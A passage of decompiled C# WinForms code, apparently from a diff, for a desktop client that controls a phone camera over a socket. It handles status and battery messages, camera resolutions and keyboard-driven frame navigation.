((ListControl)listBox1).SelectedIndex = listBox1.Items.Count - 1; - } - if ((now - start_status).TotalMilliseconds > 500.0) - { - WriteCommand("status", $"{now.Ticks.ToString()}={guid}"); - start_status = now; - } - if (!SerialNumberPhone.Equals(PhoneSerialNumber)) - { - WriteCommand("GetCameraInfo", ""); - ((Control)this).Invoke((Delegate)(Action)delegate - { - Thread.Sleep(700); - SerialNumber_DoubleClick(null, null); - }); - string[] spar = SerialNumberPhone.Split(new char[1] { '|' }); - if (spar.Length != 0) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - if (spar[1].ToLower().Equals("samsung")) - { - ((Control)samsung).Visible = true; - ((Control)huawei).Visible = false; - ((Control)asus).Visible = false; - } - else if (spar[1].ToLower().Equals("huawei")) - { - ((Control)samsung).Visible = false; - ((Control)huawei).Visible = true; - ((Control)asus).Visible = false; - } - else if (spar[1].ToLower().Equals("asus")) - { - ((Control)samsung).Visible = false; - ((Control)huawei).Visible = false; - ((Control)asus).Visible = true; - } - else - { - ((Control)samsung).Visible = false; - ((Control)huawei).Visible = false; - } - listBox3.Items.Clear(); - listBox3.Items.Add((object)$"serial number: \t{spar[0]}"); - listBox3.Items.Add((object)$"bremd: \t\t{spar[1]}"); - listBox3.Items.Add((object)$"model: \t\t{spar[3]}"); - listBox3.Items.Add((object)$"hardware: \t\t{spar[4]}"); - setBMH(spar[1], spar[3], spar[4]); - listBox3.Items.Add((object)$"version: \t\t{spar[2]}"); - comboBox2.Items.Clear(); - string text = ((Control)comboBox1).Text; - comboBox1.Items.Clear(); - comboBox1.Items.AddRange(new object[3] { "1920 x 1080 x 30", "1280 x 720 x 120", "1280 x 720 x 240" }); - ((Control)comboBox1).Text = text; - ((Control)comboBox2).Visible = false; - }); - } - PhoneSerialNumber = SerialNumberPhone; - StartReStart(); - ((Control)this).Invoke((Delegate)(Action)delegate - { - Thread.Sleep(1000); - SerialNumber_DoubleClick(null, null); - }); - } - if (decode != null) - { - if (stepping) - { - numberCurr = decode.max; - Show2Video(null); - } - else - { - numberCurr += playstepping; - Show2Video(null); - } - } - } - - public void ListBoxAdd(string str) - { - forListing.Enqueue(str); - } - - private byte[] XmlOut(string str, string param) - { - if (!str.Equals("status")) - { - ListBoxAdd($"{DateTime.Now:HH:mm:ss:fff}: [{str}]{param}"); - } - byte[] bytes = Encoding.ASCII.GetBytes($"={str}={param}"); - bytes[0] = 1; - return bytes; - } - - public void Write(byte[] buf) - { - if (socket != null) - { - socket.write(buf, (byte)(Settings.Default.Chenal + 100)); - } - } - - public void Read(double tick) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)waitServer).Text = $"{tick:#0.0000}"; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)waitServer).BackColor = getColorWait(tick); - }); - } - - private Color getColorWait(double d) - { - Color result = Color.Lime; - if (d > 10000.0) - { - result = Color.Crimson; - } - else if (d > 7000.0) - { - result = Color.Red; - } - else if (d > 5000.0) - { - result = Color.OrangeRed; - } - else if (d > 3000.0) - { - result = Color.Tomato; - } - else if (d > 2500.0) - { - result = Color.DarkOrange; - } - else if (d > 2000.0) - { - result = Color.Orange; - } - else if (d > 1500.0) - { - result = Color.Gold; - } - else if (d > 1000.0) - { - result = Color.Yellow; - } - else if (d > 500.0) - { - result = Color.GreenYellow; - } - return result; - } - - public int Read(byte[] buf) - { - if (buf[0] == 0) - { - using SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider(); - ListBoxAdd(string.Format("{0}:{1}", buf.Length.ToString(), BitConverter.ToString(sHA1CryptoServiceProvider.ComputeHash(buf)).Replace("-", ""))); - Console.WriteLine("2 {0}:{1}", buf.Length, BitConverter.ToString(buf, 0, 20)); - } - else if (buf[0] == 10) - { - using MemoryStream memoryStream = new MemoryStream(); - using MemoryStream stream = new MemoryStream(buf.Skip(1).ToArray()); - using (GZipStream gZipStream = new GZipStream(stream, CompressionMode.Decompress)) - { - gZipStream.CopyTo(memoryStream); - } - bufarh.Enqueue(Encoding.ASCII.GetString(memoryStream.ToArray())); - } - else if (buf[0] == 1) - { - string[] array = Encoding.ASCII.GetString(buf.Skip(1).ToArray()).Split(new char[1] { '=' }); - if (array[0].Equals("result")) - { - ListBoxAdd(Encoding.ASCII.GetString(buf.Skip(1).ToArray())); - } - if (array[0].Equals("result")) - { - Console.WriteLine(array[1]); - } - if (array[0].Equals("result")) - { - string[] array2 = array[1].Split(new string[1] { "fps:" }, StringSplitOptions.None); - if (array2.Length > 1 && int.TryParse(array2[1].Trim(), out var result)) - { - Program.FrameRate = result; - ListBoxAdd("(" + Program.FrameRate + " fps)"); - } - } - if (array[0].Equals("serial")) - { - SerialNumberPhone = array[1]; - } - else if (array[0].Equals("battery")) - { - int.TryParse(array[2], out batt); - SetBatt(); - } - else if (array[0].Equals("result_params")) - { - ListBoxAdd(array[1]); - } - else if (array[0].Equals("error")) - { - ListBoxAdd(array[1]); - if (array.Length == 2) - { - File.AppendAllText($"{Directory.GetCurrentDirectory()}\\{DateTime.Now:yyMMdd}.err", array[1]); - } - else if (array.Length > 2) - { - File.AppendAllText($"{Directory.GetCurrentDirectory()}\\{DateTime.Now:yyMMdd}t.err", $"{DateTime.Now:HH:mm:ss:fff} {Encoding.ASCII.GetString(buf.Skip(1).ToArray())}\n"); - File.AppendAllText($"{Directory.GetCurrentDirectory()}\\{DateTime.Now:yyMMdd}.err", $"{DateTime.Now:HH:mm:ss:fff}({array[2]}) {array[1]}"); - } - Thread.Sleep(10); - } - else if (array[0].Equals("status")) - { - SerialNumberPhone = array[3]; - if (!long.TryParse(array[1], out var result2)) - { - result2 = 0L; - } - long num = DateTime.Now.Ticks - result2; - if (array.Length > 2 && array[2].Equals(guid)) - { - if (int.TryParse(array[4], out var i) && i > 0) - { - i += ((ScrollBar)ISO).LargeChange; - if (((ScrollBar)ISO).Minimum != i) - { - ((Control)ISO).Invoke((Delegate)(Action)delegate - { - ((ScrollBar)ISO).Minimum = i + ((ScrollBar)ISO).SmallChange; - }); - } - } - if (int.TryParse(array[5], out i) && i > 0) - { - i += ((ScrollBar)ISO).LargeChange; - if (((ScrollBar)ISO).Maximum != i) - { - ((Control)ISO).Invoke((Delegate)(Action)delegate - { - ((ScrollBar)ISO).Maximum = i; - }); - } - } - if (int.TryParse(array[6], out i) && i > 0) - { - i += ((ScrollBar)FPS).LargeChange; - if (((ScrollBar)FPS).Maximum != i) - { - setAutomate = true; - bool flag = ((ScrollBar)FPS).Value + ((ScrollBar)FPS).LargeChange + ((ScrollBar)FPS).SmallChange == ((ScrollBar)FPS).Maximum; - ((Control)FPS).Invoke((Delegate)(Action)delegate - { - ((ScrollBar)FPS).Maximum = i; - }); - if (flag) - { - ((Control)FPS).Invoke((Delegate)(Action)delegate - { - ((ScrollBar)FPS).Value = i - ((ScrollBar)FPS).LargeChange + ((ScrollBar)FPS).SmallChange; - }); - } - setAutomate = false; - } - } - double dst = num / 10000; - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)waitPhone).Text = $"{dst,12:0.0000}"; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)waitPhone).BackColor = getColorWait(dst); - }); - } - } - } - else if (buf[0] == 3) - { - decode.AddNNFrame(buf.Skip(1).ToArray()); - } - else if (buf[0] == 4) - { - decode.AddFrameArray(buf.Skip(1).ToArray()); - } - else if (buf[0] == 5) - { - Write(buf); - } - else if (buf[0] == 6) - { - Write(buf.Take(10).ToArray()); - ListBoxAdd(BitConverter.ToString(buf.Take(10).ToArray())); - } - else if (buf[0] == 77) - { - if ((DateTime.Now - update).Milliseconds > 300) - { - string[] par = Encoding.ASCII.GetString(buf.Skip(1).ToArray()).Split(new char[1] { ';' }); - ((Control)tableLayoutPanel1).Invoke((Delegate)(Action)delegate - { - ((Control)lISO).Text = par[2]; - ((Control)lDuration).Text = par[3]; - ((Control)lAperture).Text = par[4]; - if (double.TryParse(par[5].Replace('.', ','), out var result5)) - { - ((Control)lFocus).Text = $"{((result5 == 0.0) ? 0.0 : (1.0 / result5)):#.000}m"; - } - ((Control)lSTime).Text = $"1/{((int.Parse(par[6]) != 0) ? (1000000000 / int.Parse(par[6])) : 0)}"; - }); - update = DateTime.Now; - } - } - else if (buf[0] == 7) - { - if (!models.Contains(model.GetHashCode())) - { - listCamResol.Clear(); - using (MemoryStream memoryStream2 = new MemoryStream()) - { - using MemoryStream stream2 = new MemoryStream(buf.Skip(1).ToArray()); - using (GZipStream gZipStream2 = new GZipStream(stream2, CompressionMode.Decompress)) - { - gZipStream2.CopyTo(memoryStream2); - } - string[] array3 = Encoding.ASCII.GetString(memoryStream2.ToArray()).Replace('x', ':').Replace(";", ":30:30;") - .Split(new char[1] { ';' }); - List list = new List(); - int result3 = 0; - int result4 = 0; - string[] array4 = array3; - foreach (string text in array4) - { - try - { - string[] array5 = text.Split(new char[1] { ':' }); - int.TryParse(array5[1], out result3); - int.TryParse(array5[2], out result4); - int num3 = algorithmEvklid(result3, result4); - if (!extResol.Contains($"{hard}:{array5[0]}:{array5[1]}:{array5[2]}")) - { - list.Add(text); - } - } - catch (Exception) - { - } - } - listCamResol.AddRange(list); - } - updateCameraList(); - } - } - else if (buf[0] == 8) - { - byte[] value = buf.Reverse().ToArray(); - double num4 = BitConverter.ToInt32(value, 0) / 1000; - int byterate = (int)Math.Round((double)BitConverter.ToInt32(buf.Reverse().ToArray(), 4) / num4); - int fps = (int)Math.Round((double)(int)BitConverter.ToUInt16(buf.Reverse().ToArray(), 8) / num4); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IFPSV).Text = $"{fps}"; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IBitRateV).Text = $"{byterate * 8,15:### ### ### ###}"; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IByteRateV).Text = $"{byterate:### ### ### ###}"; - }); - } - else if (buf[0] == 9 && !models.Contains(model.GetHashCode())) - { - using (MemoryStream memoryStream3 = new MemoryStream()) - { - using MemoryStream stream3 = new MemoryStream(buf.Skip(1).ToArray()); - using (GZipStream gZipStream3 = new GZipStream(stream3, CompressionMode.Decompress)) - { - gZipStream3.CopyTo(memoryStream3); - } - string[] array6 = Encoding.ASCII.GetString(memoryStream3.ToArray()).Split(new char[1] { ';' }); - if (!brand.Equals("asus")) - { - List list2 = new List(); - string[] array7 = array6; - foreach (string text2 in array7) - { - string[] array8 = text2.Split(new char[1] { ':' }); - if (array8.Length <= 3) - { - continue; - } - for (int num6 = 30; num6 <= 60; num6 += 5) - { - if (int.Parse(array8[3]) < num6 && int.Parse(array8[4]) > num6) - { - string item = string.Format("{0}:{1}:{2}:{3}:{3}", array8[0], array8[1], array8[2], num6); - if (!list2.Contains(item)) - { - list2.Add(item); - } - } - } - } - listCamResol.AddRange(list2); - } - listCamResol.AddRange(array6); - } - updateCameraList(); - } - return buf.Length; - } - - private void updateCameraList() - { - foreach (string zn in listCamResol) - { - if (!comboBox2.Items.Contains((object)zn.Split(new char[1] { ':' })[0])) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - comboBox2.Items.Add((object)zn.Split(new char[1] { ':' })[0]); - }); - } - } - if (comboBox2.Items.Count > 0) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)comboBox2).Visible = true; - comboBox1.Items.Clear(); - ((Control)comboBox2).Text = ""; - ((Control)comboBox1).Text = ""; - }); - } - } - - public static int algorithmEvklid(int a, int b) - { - int result = 0; - while (b != 0 && a != 0) - { - if (a > b) - { - a %= b; - } - else - { - b %= a; - } - result = a + b; - } - return result; - } - - private void SetBatt() - { - ((Control)label5).Invoke((Delegate)(Action)delegate - { - ((Control)label5).Text = $"{batt}%"; - }); - ((Control)label5).Invoke((Delegate)(Action)delegate - { - ((Control)label5).ForeColor = Color.Black; - }); - Color col = Color.DarkGreen; - Color colt = Color.White; - if (batt < 5) - { - col = Color.DarkRed; - colt = Color.White; - } - else if (batt < 10) - { - col = Color.Red; - colt = Color.Black; - } - else if (batt < 20) - { - col = Color.OrangeRed; - colt = Color.Black; - } - else if (batt < 30) - { - col = Color.Yellow; - colt = Color.Black; - } - else if (batt < 50) - { - col = Color.GreenYellow; - colt = Color.Black; - } - else if (batt < 65) - { - col = Color.YellowGreen; - colt = Color.Black; - } - else if (batt < 75) - { - col = Color.Green; - colt = Color.White; - } - ((Control)label5).Invoke((Delegate)(Action)delegate - { - ((Control)label5).BackColor = col; - }); - ((Control)panel5).Invoke((Delegate)(Action)delegate - { - ((Control)panel5).BackColor = col; - }); - ((Control)label5).Invoke((Delegate)(Action)delegate - { - ((Control)label5).ForeColor = colt; - }); - ((Control)panel6).Invoke((Delegate)(Action)delegate - { - ((Control)panel6).BackColor = SystemColors.Control; - }); - ((Control)panel6).Invoke((Delegate)(Action)delegate - { - ((Control)panel6).Width = ((Control)panel5).Width - (int)((double)((Control)panel5).Width / 100.0 * (double)batt); - }); - } - - private void WriteCommand(string str, string param) - { - Write(XmlOut(str, param)); - } - - private void positionNumber(List ls) - { - if (endls != ls) - { - endls = ls; - numberCurr = decode.max; - } - if (ls.Count == 0) - { - return; - } - ls.Sort((long x, long y) => -x.CompareTo(y)); - foreach (long l in ls) - { - if (l < numberCurr) - { - stepping = false; - playstepping = 0; - numberCurr = l; - return; - } - } - numberCurr = ls[0]; - } - - private void Form1_KeyDown(object sender, KeyEventArgs e) - { - //IL_0059: Unknown result type (might be due to invalid IL or missing references) - //IL_0067: Unknown result type (might be due to invalid IL or missing references) - //IL_00c1: Unknown result type (might be due to invalid IL or missing references) - //IL_00c8: Invalid comparison between Unknown and I4 - //IL_0142: Unknown result type (might be due to invalid IL or missing references) - //IL_014c: Invalid comparison between Unknown and I4 - //IL_014f: Unknown result type (might be due to invalid IL or missing references) - //IL_0156: Invalid comparison between Unknown and I4 - //IL_09ed: Unknown result type (might be due to invalid IL or missing references) - //IL_09f4: Invalid comparison between Unknown and I4 - //IL_0a29: Unknown result type (might be due to invalid IL or missing references) - //IL_0a30: Invalid comparison between Unknown and I4 - //IL_0172: Unknown result type (might be due to invalid IL or missing references) - //IL_017c: Invalid comparison between Unknown and I4 - //IL_0a98: Unknown result type (might be due to invalid IL or missing references) - //IL_0a9e: Invalid comparison between Unknown and I4 - //IL_017f: Unknown result type (might be due to invalid IL or missing references) - //IL_0186: Invalid comparison between Unknown and I4 - //IL_0acb: Unknown result type (might be due to invalid IL or missing references) - //IL_0ad2: Invalid comparison between Unknown and I4 - //IL_01a2: Unknown result type (might be due to invalid IL or missing references) - //IL_01ac: Invalid comparison between Unknown and I4 - //IL_0a6f: Unknown result type (might be due to invalid IL or missing references) - //IL_0a79: Invalid comparison between Unknown and I4 - //IL_01af: Unknown result type (might be due to invalid IL or missing references) - //IL_01b6: Invalid comparison between Unknown and I4 - //IL_01d4: Unknown result type (might be due to invalid IL or missing references) - //IL_01de: Invalid comparison between Unknown and I4 - //IL_01e1: Unknown result type (might be due to invalid IL or missing references) - //IL_01e8: Invalid comparison between Unknown and I4 - //IL_0206: Unknown result type (might be due to invalid IL or missing references) - //IL_0210: Invalid comparison between Unknown and I4 - //IL_0213: Unknown result type (might be due to invalid IL or missing references) - //IL_021a: Invalid comparison between Unknown and I4 - //IL_0238: Unknown result type (might be due to invalid IL or missing references) - //IL_0242: Invalid comparison between Unknown and I4 - //IL_0245: Unknown result type (might be due to invalid IL or missing references) - //IL_024c: Invalid comparison between Unknown and I4 - //IL_026a: Unknown result type (might be due to invalid IL or missing references) - //IL_0274: Invalid comparison between Unknown and I4 - //IL_0277: Unknown result type (might be due to invalid IL or missing references) - //IL_027e: Invalid comparison between Unknown and I4 - //IL_029c: Unknown result type (might be due to invalid IL or missing references) - //IL_02a6: Invalid comparison between Unknown and I4 - //IL_02a9: Unknown result type (might be due to invalid IL or missing references) - //IL_02b0: Invalid comparison between Unknown and I4 - //IL_02ce: Unknown result type (might be due to invalid IL or missing references) - //IL_02d8: Invalid comparison between Unknown and I4 - //IL_02db: Unknown result type (might be due to invalid IL or missing references) - //IL_02e2: Invalid comparison between Unknown and I4 - //IL_0300: Unknown result type (might be due to invalid IL or missing references) - //IL_0307: Invalid comparison between Unknown and I4 - //IL_0327: Unknown result type (might be due to invalid IL or missing references) - //IL_032e: Invalid comparison between Unknown and I4 - //IL_034e: Unknown result type (might be due to invalid IL or missing references) - //IL_0355: Invalid comparison between Unknown and I4 - //IL_0375: Unknown result type (might be due to invalid IL or missing references) - //IL_037c: Invalid comparison between Unknown and I4 - //IL_039c: Unknown result type (might be due to invalid IL or missing references) - //IL_03a3: Invalid comparison between Unknown and I4 - //IL_03c3: Unknown result type (might be due to invalid IL or missing references) - //IL_03ca: Invalid comparison between Unknown and I4 - //IL_03ea: Unknown result type (might be due to invalid IL or missing references) - //IL_03f1: Invalid comparison between Unknown and I4 - //IL_0411: Unknown result type (might be due to invalid IL or missing references) - //IL_0418: Invalid comparison between Unknown and I4 - //IL_0438: Unknown result type (might be due to invalid IL or missing references) - //IL_043f: Invalid comparison between Unknown and I4 - //IL_045f: Unknown result type (might be due to invalid IL or missing references) - //IL_0466: Invalid comparison between Unknown and I4 - //IL_04dd: Unknown result type (might be due to invalid IL or missing references) - //IL_04e4: Invalid comparison between Unknown and I4 - //IL_050d: Unknown result type (might be due to invalid IL or missing references) - //IL_0517: Invalid comparison between Unknown and I4 - //IL_051a: Unknown result type (might be due to invalid IL or missing references) - //IL_0524: Invalid comparison between Unknown and I4 - //IL_0550: Unknown result type (might be due to invalid IL or missing references) - //IL_055a: Invalid comparison between Unknown and I4 - //IL_055d: Unknown result type (might be due to invalid IL or missing references) - //IL_0567: Invalid comparison between Unknown and I4 - //IL_0593: Unknown result type (might be due to invalid IL or missing references) - //IL_059d: Invalid comparison between Unknown and I4 - //IL_05a0: Unknown result type (might be due to invalid IL or missing references) - //IL_05aa: Invalid comparison between Unknown and I4 - //IL_05d6: Unknown result type (might be due to invalid IL or missing references) - //IL_05e0: Invalid comparison between Unknown and I4 - //IL_05e3: Unknown result type (might be due to invalid IL or missing references) - //IL_05ed: Invalid comparison between Unknown and I4 - //IL_0619: Unknown result type (might be due to invalid IL or missing references) - //IL_0623: Invalid comparison between Unknown and I4 - //IL_0677: Unknown result type (might be due to invalid IL or missing references) - //IL_0681: Invalid comparison between Unknown and I4 - //IL_06d5: Unknown result type (might be due to invalid IL or missing references) - //IL_06df: Invalid comparison between Unknown and I4 - //IL_06e2: Unknown result type (might be due to invalid IL or missing references) - //IL_06e9: Invalid comparison between Unknown and I4 - //IL_0714: Unknown result type (might be due to invalid IL or missing references) - //IL_071e: Invalid comparison between Unknown and I4 - //IL_0721: Unknown result type (might be due to invalid IL or missing references) - //IL_0728: Invalid comparison between Unknown and I4 - //IL_0753: Unknown result type (might be due to invalid IL or missing references) - //IL_075d: Invalid comparison between Unknown and I4 - //IL_0760: Unknown result type (might be due to invalid IL or missing references) - //IL_0767: Invalid comparison between Unknown and I4 - //IL_0791: Unknown result type (might be due to invalid IL or missing references) - //IL_079b: Invalid comparison between Unknown and I4 - //IL_079e: Unknown result type (might be due to invalid IL or missing references) - //IL_07a5: Invalid comparison between Unknown and I4 - //IL_07cf: Unknown result type (might be due to invalid IL or missing references) - //IL_07d9: Invalid comparison between Unknown and I4 - //IL_07dc: Unknown result type (might be due to invalid IL or missing references) - //IL_07e3: Invalid comparison between Unknown and I4 - //IL_080d: Unknown result type (might be due to invalid IL or missing references) - //IL_0817: Invalid comparison between Unknown and I4 - //IL_081a: Unknown result type (might be due to invalid IL or missing references) - //IL_0821: Invalid comparison between Unknown and I4 - //IL_084b: Unknown result type (might be due to invalid IL or missing references) - //IL_0855: Invalid comparison between Unknown and I4 - //IL_0858: Unknown result type (might be due to invalid IL or missing references) - //IL_085f: Invalid comparison between Unknown and I4 - //IL_0889: Unknown result type (might be due to invalid IL or missing references) - //IL_0893: Invalid comparison between Unknown and I4 - //IL_0896: Unknown result type (might be due to invalid IL or missing references) - //IL_089d: Invalid comparison between Unknown and I4 - //IL_08c7: Unknown result type (might be due to invalid IL or missing references) - //IL_08d1: Invalid comparison between Unknown and I4 - //IL_08d4: Unknown result type (might be due to invalid IL or missing references) - //IL_08db: Invalid comparison between Unknown and I4 - //IL_0905: Unknown result type (might be due to invalid IL or missing references) - //IL_090f: Invalid comparison between Unknown and I4 - //IL_0912: Unknown result type (might be due to invalid IL or missing references) - //IL_0919: Invalid comparison between Unknown and I4 - //IL_0943: Unknown result type (might be due to invalid IL or missing references) - //IL_094a: Invalid comparison between Unknown and I4 - //IL_096e: Unknown result type (might be due to invalid IL or missing references) - //IL_0975: Invalid comparison between Unknown and I4 - //IL_0999: Unknown result type (might be due to invalid IL or missing references) - //IL_09a0: Invalid comparison between Unknown and I4 - //IL_09c4: Unknown result type (might be due to invalid IL or missing references) - //IL_09cb: Invalid comparison between Unknown and I4 - e.Handled = false; - logkeys.Enqueue($"{DateTime.Now:HH:mm:ss.fffffff}:{(DateTime.Now - oldkeytime).TotalMilliseconds}:{numberCurr}:{e.KeyCode}:{e.KeyData}:{e.KeyValue}:{e.Shift}:{e.Alt}:{e.Control}"); - oldkeytime = DateTime.Now; - if ((int)e.KeyCode == 27) - { - list1.Clear(); - list2.Clear(); - list3.Clear(); - list4.Clear(); - list5.Clear(); - list6.Clear(); - list7.Clear(); - list8.Clear(); - list9.Clear(); - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 49) - { - positionNumber(list1); - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 50) - { - positionNumber(list2); - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 51) - { - positionNumber(list3); - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 52) - { - positionNumber(list4); - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 53) - { - positionNumber(list5); - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 54) - { - positionNumber(list6); - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 55) - { - positionNumber(list7); - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 56) - { - positionNumber(list8); - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 57) - { - positionNumber(list9); - } - else if ((int)e.KeyCode == 49) - { - list1.Add(numberCurr); - } - else if ((int)e.KeyCode == 50) - { - list2.Add(numberCurr); - } - else if ((int)e.KeyCode == 51) - { - list3.Add(numberCurr); - } - else if ((int)e.KeyCode == 52) - { - list4.Add(numberCurr); - } - else if ((int)e.KeyCode == 53) - { - list5.Add(numberCurr); - } - else if ((int)e.KeyCode == 54) - { - list6.Add(numberCurr); - } - else if ((int)e.KeyCode == 55) - { - list7.Add(numberCurr); - } - else if ((int)e.KeyCode == 56) - { - list8.Add(numberCurr); - } - else if ((int)e.KeyCode == 57) - { - list9.Add(numberCurr); - } - else if ((int)e.KeyCode == 70 && MousePosition.X != 0 && MousePosition.Y != 0) - { - Point point = FrontVideo.rePoint(MousePosition); - string str = "AF"; - string param = $"{point.X},{point.Y},10,10"; - WriteCommand(str, param); - } - else if ((int)e.KeyCode == 9) - { - WriteCommand("WhileBlack", "0"); - e.Handled = true; - } - else if ((int)e.Modifiers == 131072 && (int)e.KeyCode == 189) - { - WriteCommand("ApertureMinus", "0"); - e.Handled = true; - } - else if ((int)e.Modifiers == 131072 && (int)e.KeyCode == 187) - { - WriteCommand("AperturePlus", "0"); - e.Handled = true; - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 189) - { - WriteCommand("BrightMinus", "0"); - e.Handled = true; - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 187) - { - WriteCommand("BrightPlus", "0"); - e.Handled = true; - } - else if ((int)e.KeyCode == 187) - { - if (((ScrollBar)Zoom).Maximum > ((ScrollBar)Zoom).Value) - { - HScrollBar zoom = Zoom; - ((ScrollBar)zoom).Value = ((ScrollBar)zoom).Value + ((ScrollBar)Zoom).LargeChange; - } - e.Handled = true; - } - else if ((int)e.KeyCode == 189) - { - if (((ScrollBar)Zoom).Minimum < ((ScrollBar)Zoom).Value) - { - HScrollBar zoom2 = Zoom; - ((ScrollBar)zoom2).Value = ((ScrollBar)zoom2).Value - ((ScrollBar)Zoom).LargeChange; - } - e.Handled = true; - } - else if ((int)e.Modifiers == 262144 && (int)e.KeyCode == 37) - { - numberCurr -= 120L; - e.Handled = true; - } - else if ((int)e.Modifiers == 262144 && (int)e.KeyCode == 39) - { - numberCurr += 120L; - e.Handled = true; - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 37) - { - numberCurr -= 4L; - e.Handled = true; - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 39) - { - numberCurr += 4L; - e.Handled = true; - } - else if ((int)e.Modifiers == 131072 && (int)e.KeyCode == 40) - { - numberCurr -= 3L; - e.Handled = true; - } - else if ((int)e.Modifiers == 131072 && (int)e.KeyCode == 38) - { - numberCurr += 3L; - e.Handled = true; - } - else if ((int)e.Modifiers == 131072 && (int)e.KeyCode == 37) - { - numberCurr -= 3L; - e.Handled = true; - } - else if ((int)e.Modifiers == 131072 && (int)e.KeyCode == 39) - { - numberCurr += 3L; - e.Handled = true; - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 40) - { - numberCurr -= 2L; - e.Handled = true; - } - else if ((int)e.Modifiers == 65536 && (int)e.KeyCode == 38) - { - numberCurr += 2L; - e.Handled = true; - } - else if ((int)e.KeyCode == 37) - { - numberCurr--; - e.Handled = true; - } - else if ((int)e.KeyCode == 39) - { - numberCurr++; - e.Handled = true; - } - else if ((int)e.KeyCode == 38) - { - numberCurr += 5L; - e.Handled = true; - } - else if ((int)e.KeyCode == 40) - { - numberCurr -= 5L; - e.Handled = true; - } - if ((int)e.KeyCode == 13) - { - stepping = !stepping; - playstepping = 0; - startFrame = numberCurr; - e.Handled = true; - } - if ((int)e.KeyCode == 32) - { - stepping = false; - if (playstepping == 0) - { - playstepping = ((Program.FrameRate == 240) ? 20 : ((Program.FrameRate == 120) ? 10 : 2)) * (((int)e.Modifiers != 65536) ? 1 : (-1)); - } - else - { - playstepping = 0; - } - e.Handled = true; - } - if ((int)e.KeyCode == 8) - { - stepping = false; - playstepping = 0; - numberCurr = startFrame; - e.Handled = true; - } - if ((int)e.KeyCode == 112) - { - ((Control)webBrowser1).Visible = !((Control)webBrowser1).Visible; - } - if (!stepping) - { - if (((Control)FrontVideo).BackColor != Color.MidnightBlue) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)FrontVideo).BackColor = Color.MidnightBlue; - ((Control)splitContainer1).BackColor = SystemColors.ActiveCaption; - }); - } - } - else if (((Control)FrontVideo).BackColor != SystemColors.Control) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)FrontVideo).BackColor = SystemColors.Control; - ((Control)splitContainer1).BackColor = SystemColors.Control; - }); - } - } - - private void повернутьToolStripMenuItem_Click(object sender, EventArgs e) - { - if (FrontVideo.Rotate == 0) - { - FrontVideo.Rotate = 90; - } - else if (FrontVideo.Rotate == 90) - { - FrontVideo.Rotate = 180; - } - else if (FrontVideo.Rotate == 180) - { - FrontVideo.Rotate = 270; - } - else if (FrontVideo.Rotate == 270) - { - FrontVideo.Rotate = 0; - } - ((Control)FrontVideo).Refresh(); - } - - private void повернутьПротивЧасовойToolStripMenuItem_Click(object sender, EventArgs e) - { - if (FrontVideo.Rotate == 0) - { - FrontVideo.Rotate = 270; - } - else if (FrontVideo.Rotate == 270) - { - FrontVideo.Rotate = 180; - } - else if (FrontVideo.Rotate == 180) - { - FrontVideo.Rotate = 90; - } - else if (FrontVideo.Rotate == 90) - { - FrontVideo.Rotate = 0; - } - ((Control)FrontVideo).Refresh(); - } - - private void стопToolStripMenuItem_Click(object sender, EventArgs e) - { - WriteCommand("stop", ""); - Thread.Sleep(1000); - } - - private void стартToolStripMenuItem_Click(object sender, EventArgs e) - { - //IL_0070: Unknown result type (might be due to invalid IL or missing references) - xmlFileName = $"{DateTime.Now:yyyyMMddHHmmssffff}_complet.xml"; - if (models.Contains(model.GetHashCode())) - { - return; - } - if (byte.TryParse(((Control)chenal).Text, out var result) && result > 0 && result < 100) - { - Settings.Default.Chenal = result; - Settings.Default.BitRate = ((Control)BitRateBox).Text; - Settings.Default.Specification = ((ListControl)comboBox1).SelectedIndex; - Settings.Default.SaveVideo = checkBox_saveVideo.Checked; - ((SettingsBase)Settings.Default).Save(); - стопToolStripMenuItem_Click(sender, e); - stepping = true; - string param = ((Control)BitRateBox).Text.Replace("k", "000").Replace("M", "000000"); - WriteCommand("BitRate", param); - ((Control)labelFPS).Visible = true; - ((Control)FPS).Visible = true; - if (((Control)comboBox2).Visible) - { - string[] array = ((Control)comboBox1).Text.Split(new char[1] { ':' }); - if (array[0].Trim().Length != 0 && array[1].Trim().Length != 0) - { - try - { - FrontVideo.SizeImage = new Size(int.Parse(array[0]), int.Parse(array[1])); - WriteCommand("start", string.Format("{0};{1};{2}", ((Control)BitRateBox).Text.ToLower().Replace("k", "000").Replace("m", "000000"), ((Control)comboBox2).Text, ((Control)comboBox1).Text.Replace(':', ';'))); - if (!brand.Equals("asus")) - { - ((Control)labelFPS).Visible = false; - ((Control)FPS).Visible = false; - } - } - catch (Exception) - { - ListBoxAdd("Error resolution."); - } - } - else - { - ListBoxAdd("Error resolution."); - } - } - else if (Settings.Default.Specification == 0) - { - WriteCommand("start", ""); - FrontVideo.SizeImage = new Size(1920, 1080); - } - else if (Settings.Default.Specification == 1) - { - WriteCommand("startHI", ""); - FrontVideo.SizeImage = new Size(1280, 720); - } - else if (Settings.Default.Specification == 2) - { - WriteCommand("startH2", ""); - 